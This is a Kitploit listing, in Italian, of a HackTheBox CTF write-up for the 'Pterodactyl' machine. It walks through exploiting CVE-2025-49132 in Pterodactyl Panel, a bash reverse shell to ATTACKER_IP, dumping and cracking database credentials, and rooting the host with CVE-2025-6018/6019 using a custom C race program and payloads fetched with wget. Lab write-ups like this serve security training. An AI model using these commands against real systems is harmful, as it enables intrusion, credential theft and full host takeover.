Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
HTB-Pterodactyl-Writeup — HTB Stagione 10 - writeup della macchina Pterodactyl. Macchina Linux di media difficoltà che copre CVE-2025-49132 (RCE su Pterodactyl Panel) e CVE-2025-6018/6019 (escalation dei privilegi su udisks2). | Kitploit
Strumenti/GitHubGitHub/karimelsheikh1/htb-pterodactyl-writeup
Password CrackingEscalation di PrivilegiRicognizioneAnalisi delle VulnerabilitàExploitMovimento LateraleSfruttamento di Applicazioni WebCTFPenetration Testing

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Apprendimento e Formazione
GitHubkarimelsheikh1/htb-pterodactyl-writeup

HTB-Pterodactyl-Writeup

HTB Stagione 10 - writeup della macchina Pterodactyl. Macchina Linux di media difficoltà che copre CVE-2025-49132 (RCE su Pterodactyl Panel) e CVE-2025-6018/6019 (escalation dei privilegi su udisks2).

Vedi Repository
3 mesi faNon ancora revisionato

HackTheBox — Writeup Pterodattilo

Difficoltà: Media | Sistema operativo: Linux (openSUSE Leap 15.6) | Stagione: 10


Riepilogo

Pterodactyl è una macchina Linux di difficoltà media che esegue il pannello di controllo per server di gioco Pterodactyl. La catena d'attacco coinvolge una vulnerabilità LFI-to-RCE non autenticata nel pannello, estrazione di credenziali tramite MySQL, cracking di hash bcrypt per l'accesso SSH e una catena di escalation dei privilegi con due CVE che abusa di iniezione di sessione PAM e di una condizione di gara nel resize XFS di udisks2.

Bandiere:

  • Utente: ************************
  • Root: (ottenuta tramite CVE-2025-6019)

Ricognizione

Nmap

root@kitploit:~
nmap -sSCV -A --min-rate 4000 10.129.44.184

Porte aperte:

PortaServizioVersione
22SSHOpenSSH 9.6p1
80HTTPnginx/1.21.5 → pterodactyl.htb

/etc/hosts

root@kitploit:~
echo "10.129.44.184 pterodactyl.htb panel.pterodactyl.htb play.pterodactyl.htb" | sudo tee -a /etc/hosts

Enumerazione Web

root@kitploit:~
dirsearch -u http://pterodactyl.htb/ -t 40
curl -s http://pterodactyl.htb/changelog.txt

Risultati chiave dal changelog:

  • Sito: MonitorLand
  • Versione pannello: Pterodactyl Panel v1.11.10 (vulnerabile)
  • PHP-PEAR abilitato
  • Sottodominio: panel.pterodactyl.htb

Analisi di phpinfo.php

root@kitploit:~
curl -s "http://pterodactyl.htb/phpinfo.php" | grep -E "register_argc|include_path|open_basedir|upload_tmp_dir"
Impostazione

Accesso Iniziale — CVE-2025-49132

CVE-2025-49132 colpisce Pterodactyl Panel ≤ v1.11.10. L'endpoint /locales/locale.json passa i parametri locale e namespace direttamente a include() di PHP senza sanitizzazione né autenticazione, consentendo directory traversal e RCE basata su pearcmd.

Exploit

root@kitploit:~
git clone https://github.com/YoyoChaud/CVE-2025-49132
cd CVE-2025-49132

# Dump configurazione (credenziali DB + APP_KEY)
python3 exploit.py http://panel.pterodactyl.htb

# Test RCE
python3 exploit.py http://panel.pterodactyl.htb \
  --rce-cmd "id" \
  --pear-dir /usr/share/php/PEAR

Output: uid=474(wwwrun) gid=477(www) groups=477(www)

Credenziali Estratte

ServizioNome utentePassword
MySQLpterodactylPteraPanel
LaravelAPP_KEYbase64:UaThTPQnUjrrK61o+...

Reverse Shell

root@kitploit:~
# Ascoltatore
nc -lnvp 4444

# Exploit
python3 exploit.py http://panel.pterodactyl.htb \
  --rce-cmd "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" \
  --pear-dir /usr/share/php/PEAR

Movimento Laterale

Dump Credenziali MySQL

root@kitploit:~
mysql -u pterodactyl -pPteraPanel -h 127.0.0.1 \
  -e "USE panel; SELECT username,email,password FROM users;"
Nome utenteHash
headmonitor$2y$10$3WJht3/5GOQmOXdljPbAJet...
phileasfogg3$2y$10$PwO0TBZA8hLB6nuSsxRqoO...

Bandiera Utente

root@kitploit:~
cat /home/phileasfogg3/user.txt

Cracking Hash

root@kitploit:~
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt -w 3

Risultato: phileasfogg3 : !QAZ2wsx

Accesso SSH

root@kitploit:~
ssh [email protected]
# password: !QAZ2wsx

Escalation dei Privilegi

Analisi Sudo

root@kitploit:~
sudo -l

(ALL) ALL è configurato ma l'opzione targetpw di Defaults richiede la password di root — bloccando l'abuso standard di sudo.


Passo 1 — CVE-2025-6018: Bypass Sessione PAM

CVE-2025-6018 sfrutta pam_env.so su openSUSE per iniettare variabili d'ambiente al login. Posizionando XDG_SEAT=seat0 e XDG_VTNR=1 in ~/.pam_environment, un utente SSH remoto può ingannare Polkit facendogli trattare la propria sessione come una sessione attiva della console locale (allow_active), sbloccando azioni D-Bus di gestione hardware.

root@kitploit:~
echo -e "XDG_SEAT=seat0\nXDG_VTNR=1" > ~/.pam_environment

# Esci e riconnettiti tramite SSH (PAM rilegge al nuovo login)
exit
ssh [email protected]

# Verifica
echo $XDG_SEAT   # seat0
echo $XDG_VTNR   # 1

Passo 2 — CVE-2025-6019: Condizione di Gara Resize XFS udisks2 → Root

CVE-2025-6019 sfrutta l'assenza del flag nosuid in libblockdev quando udisks2 monta temporaneamente un'immagine XFS durante una chiamata D-Bus Filesystem.Resize. Correndo per eseguire un binario SUID all'interno dell'immagine durante questa finestra, un utente non privilegiato con diritti Polkit allow_active può ottenere una shell root.

Crea Immagine XFS (sulla macchina attaccante)

root@kitploit:~
# Crea immagine XFS usando mkfs.xfs del target per compatibilità
scp phileasfogg3@TARGET:/sbin/mkfs.xfs /tmp/target_mkfs_xfs

# Costruisci direttamente sul target invece
ssh phileasfogg3@TARGET
dd if=/dev/zero of=/tmp/xfs_new.img bs=1M count=300
/sbin/mkfs.xfs -f /tmp/xfs_new.img

Trasferisci all'attaccante, inietta binario SUID, trasferisci indietro:

root@kitploit:~
# Sull'attaccante (come root)
scp phileasfogg3@TARGET:/tmp/xfs_new.img /tmp/xfs_new.img
mount -o loop,suid /tmp/xfs_new.img /tmp/mnt
cp rootbash /tmp/mnt/xpl
chmod 4755 /tmp/mnt/xpl      # Deve mostrare -rwsr-xr-x
umount /tmp/mnt
gzip -c /tmp/xfs_new.img > xfs_new.img.gz

Compila Racer Veloce in C

root@kitploit:~
// racer.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dirent.h>
#include <unistd.h>
#include <sys/stat.h>

int main() {
    char path[512], cmd[512];
    struct stat st;
    while(1) {
        DIR *d = opendir("/tmp");
        struct dirent *e;
        while((e = readdir(d))) {
            if(strncmp(e->d_name, "blockdev.", 9) == 0) {
                snprintf(path, sizeof(path), "/tmp/%s/xpl", e->d_name);
                if(stat(path, &st) == 0 && (st.st_mode & S_ISUID)) {
                    closedir(d);
                    snprintf(cmd, sizeof(cmd),
                        "%s -p -c 'cp /bin/bash /tmp/b; chmod 4755 /tmp/b'", path);
                    system(cmd);
                    return 0;
                }
            }
        }
        closedir(d);
    }
}
root@kitploit:~
gcc -O2 -o racer racer.c

Esegui la Gara

root@kitploit:~
# Sul target
wget http://ATTACKER_IP/xfs_new.img.gz && gunzip xfs_new.img.gz
wget http://ATTACKER_IP/racer && chmod +x racer

udisksctl loop-setup -f /tmp/xfs_new.img --no-user-interaction
# Nota il numero del dispositivo loop (es. loop7)

rm -rf /tmp/blockdev.* 2>/dev/null
/tmp/racer &

for i in $(seq 1 300); do
  gdbus call --system \
    --dest org.freedesktop.UDisks2 \
    --object-path /org/freedesktop/UDisks2/block_devices/loop7 \
    --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}' 2>/dev/null &
done
wait

Risultato: Shell root ottenuta.

root@kitploit:~
id
# uid=0(root)

cat /root/root.txt

Catena d'Attacco

root@kitploit:~
[Nmap] Porte 22, 80
    ↓
[Enumerazione Web] changelog.txt → Pterodactyl Panel v1.11.10
    ↓
[phpinfo.php] register_argc_argv=On, PEAR in include_path
    ↓
[CVE-2025-49132] LFI non autenticata → pearcmd RCE → shell wwwrun
    ↓
[MySQL] pterodactyl:PteraPanel → hash bcrypt
    ↓
[Hashcat] phileasfogg3:!QAZ2wsx
    ↓
[SSH] phileasfogg3
    ↓
[CVE-2025-6018] ~/.pam_environment → bypass allow_active
    ↓
[CVE-2025-6019] Resize XFS udisks2 → condizione di gara → esecuzione SUID → ROOT

Credenziali

ServizioNome utentePassword
MySQLpterodactylPteraPanel
SSH / Pannellophileasfogg3!QAZ2wsx

Strumenti Utilizzati


Riferimenti

  • PoC CVE-2025-49132
  • PoC CVE-2025-6018-6019
  • Avviso Qualys
  • HackTheBox

Writeup di [kareem elsheikh] | HackTheBox Stagione 10

Scarica lo strumento
Valore
Significato
register_argc_argvOnAbilita sfruttamento CLI di pearcmd
include_path.:/usr/share/php8:/usr/share/php/PEARpearcmd.php raggiungibile
open_basedir(nessun valore)Accesso illimitato al filesystem
StrumentoScopo
nmapScansione porte
dirsearchBrute force di directory web
Exploit CVE-2025-49132LFI non autenticata + RCE pearcmd
hashcat (-m 3200)Cracking bcrypt
PoC CVE-2025-6018-6019Bypass PAM + gara udisks2
Racer C personalizzatoVincere la condizione di gara nosuid